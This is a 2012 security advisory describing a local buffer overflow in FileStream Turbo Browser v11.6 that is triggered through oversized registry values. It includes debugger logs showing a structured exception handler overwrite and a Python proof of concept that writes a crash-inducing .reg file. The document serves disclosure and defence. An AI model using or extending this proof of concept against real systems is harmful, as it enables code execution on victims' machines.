FileStream Turbo Browser v11.6 - Buffer Overflow

Document Title:
===============
FileStream Turbo Browser v11.6 - Buffer Overflow


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=491


Release Date:
=============
2012-04-10


Vulnerability Laboratory ID (VL-ID):
====================================
491


Common Vulnerability Scoring System:
====================================
4.4


Product & Service Introduction:
===============================
From editing or optimizing individual or groups of digital photos to managing all your PDF and Office Documents, this multiple 
award winning software lets you organize, group convert and optimize, create DVD/CD, slideshow, group rename, change 
file properties, print, compress, upload, download, publish Web sites, plus edit HTML, script, text, RTF, and HEX in its color 
coded editor. There is no other software that lets you do so much all in one place. This latest new release supports all 
popular digital camera RAW formats; it also supports burning to Blu-ray and HD-DVD discs.

Photo Editing - The new Digital Darkroom feature offers you many essential quick fix photo editing tools from single click 
red eye removal button, auto-fix buttons, to color adjustment sliders for you to improve your photos in a snap. You, as a 
photography enthusiast, can now manually change white balance, use fill flash, back lighting, and color cast removal tools 
along with the original shooting information and histogram to fine tune pictures. This new release continues to let you 
batch convert, optimize, resize, reduce file size, and print single or groups of photos and images.

Manage Documents with a Star - From Acrobat PDF to Office Documents, like Word Processing, Spreadsheet, PowerPoint, 
it offers you all the essential tools you need to find, view, print, organize, launch and work with them conveniently in one 
program. Supports internal viewing of 200+ formats. You can mark or tag your frequently used or favorite files with a 
Star so you can quickly pull them out when you need them. You can also display and reference your file list by Timeline.

Organize and Create DVD/CD - The Organize Wizard lets you organize your photos by name, event, time, or location. 
Most digital cameras list your photos with serial number style names, which is very hard, if not impossible, to figure 
out which photo is which. With the additional file management tools like group rename, batch print, zip, unzip, and change 
file properties, you can organize photos and documents on your hard drives and network fast and easy. Burn them onto 
DVD/CD with Verify to secure backup protection. You can also create your own Slideshow with just a couple clicks.

Remote Upload, Download, and Publish - You can upload files and images to and download from servers. You can 
preview and edit before and after the transfer. It supports Quick Publishing for direct editing files on hosting servers.

Color coded HTML, RTF, Text, Script, and Hex Editors - Turbo Browser includes CodeWorks, which is an easy to use, fast 
and simple HTML and code editor with built-in HTML Helper and side-by side source and Web view. Its friendly assistant 
helps to make creating and editing code a much easier task.

(Copy of the Vendor Homepage: http://www.filestream.com )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on FileStream Turbo Browser v11.6


Vulnerability Disclosure Timeline:
==================================
2012-04-04:	Vendor Notification 1
2012-04-05:	Vendor Notification 2
2012-04-06:	Vendor Notification 3
2012-04-11:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A Buffer Overflow vulnerability is detected on FileStream Turbo Browser v11.6 (current version).  
The vulnerability is located in the main executeable turbob.exe. 
During the start of the application different values are read from the registry:

+ Name from [HKEY_CURRENT_USER/Software/FileStream/Turbo Browser/Log]
+ /MyFolder0/, /MyFolder1/ from [HKEY_CURRENT_USER/Software/FileStream\\\\/Turbo Browser/MyRecent Folder List0]

When inserting an oversized value to the registry values a buffer overflow is triggered. 
The victim only needs to start the application.

Vulnerable Module(s):
                                                    [+] Reg-keys: MyFolder0, MyFolder1, Name

--- Debugger Logs ---
#Disassembly:
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0   F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7   B8 01000000      MOV EAX,1
7C9132CC   75 12            JNZ SHORT ntdll.7C9132E0
7C9132CE   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2   8B5424 10        MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9   8902             MOV DWORD PTR DS:[EDX],EAX
7C9132DB   B8 02000000      MOV EAX,2
7C9132E0   C2 1000          RETN 10


#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012F700
EBP 0012F720
ESI 00000000
EDI 00000000
EIP 42424242


#Dump:
0012FC44  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC4C  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC54  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC5C  41 41 41 41 42 42 42 42  AAAABBBB
0012FC64  00 43 43 43 43 43 43 43  .CCCCCCC
0012FC6C  43 43 43 43 43 43 43 43  CCCCCCCC
0012FC74  43 43 43 43 43 43 43 43  CCCCCCCC


#Stack:
0012F6E8   0012FC5C  ASCII AAAABBBB
0012F6EC   00140000
0012F6F0   001F0520
0012F6F4   0012F708
0012F6F8   7C91D80A  ntdll.7C91D80A
0012F6FC   7C9601E1  ntdll.7C9601E1
0012F700   7C9132A8  RETURN to ntdll.7C9132A8
0012F704   0012F7E8
0012F708   0012FC5C  ASCII AAAABBBB
0012F70C   0012F804
0012F710   0012F7BC
0012F714   0012FC5C  Pointer to next SEH record
0012F718   7C9132BC  SE handler

Picture(s):
                                                    ../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers. For demonstration or reproduce ...

#!/usr/bin/python 
# Exploit Title: FileStream Turbo Browser v11.6 Local Buffer Overflow Vulnerability
# Version:       11.6
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.filestream.com
# Notes:         Vulnerable Reg-keys: MyFolder0, MyFolder1, Name
# Howto:         Import Reg -> Start App

file="poc.reg"

junk1="\x41" * 268
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\FileStream\Turbo Browser\Log]\n"
poc=poc + "\"Name\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";






Security Risk:
==============
The security risk of the local buffer overflow vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory